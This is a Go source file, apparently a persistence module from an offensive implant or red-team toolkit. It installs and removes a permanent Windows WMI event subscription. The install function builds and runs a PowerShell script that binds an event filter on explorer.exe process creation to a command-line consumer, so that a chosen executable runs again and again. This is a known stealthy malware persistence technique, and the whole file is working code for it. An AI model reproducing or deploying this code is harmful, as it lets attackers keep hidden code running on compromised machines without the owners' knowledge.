48 lines
2.0 KiB
Go
48 lines
2.0 KiB
Go
//go:build windows && persist_wmi
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// +build windows,persist_wmi
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package persistence
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import (
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"fmt"
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"strings"
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)
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func init() {
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persistInstallFn = installWMI
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persistUninstallFns = append(persistUninstallFns, uninstallWMI)
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}
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func installWMI(targetPath string) error {
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filterName, consumerName := deriveWMINames(targetPath)
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safe := strings.ReplaceAll(targetPath, "'", "''")
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script := fmt.Sprintf(
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`$f = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance(); `+
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`$f.QueryLanguage = 'WQL'; `+
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`$f.Query = "SELECT * FROM __InstanceCreationEvent WITHIN 30 `+
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`WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'"; `+
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`$f.Name = '%s'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); `+
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`$c = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance(); `+
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`$c.Name = '%s'; $c.ExecutablePath = '%s'; $null = $c.Put(); `+
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`$b = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance(); `+
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`$b.Filter = "\\.\root\subscription:__EventFilter.Name='%s'"; `+
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`$b.Consumer = "\\.\root\subscription:CommandLineEventConsumer.Name='%s'"; `+
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`$null = $b.Put()`,
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filterName, consumerName, safe, filterName, consumerName)
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return runPowerShell(script)
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}
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func uninstallWMI() error {
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prefix := executablePrefix()
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return runPowerShell(
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`Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding ` +
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`-ErrorAction SilentlyContinue | Where-Object { $_.Filter -like "*` + prefix + `*" } | ` +
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`Remove-WmiObject -ErrorAction SilentlyContinue; ` +
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`Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer ` +
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`-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "` + prefix + `*" } | ` +
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`Remove-WmiObject -ErrorAction SilentlyContinue; ` +
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`Get-WmiObject -Namespace root\subscription -Class __EventFilter ` +
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`-ErrorAction SilentlyContinue | Where-Object { $_.Name -like "` + prefix + `*" } | ` +
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`Remove-WmiObject -ErrorAction SilentlyContinue`)
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}
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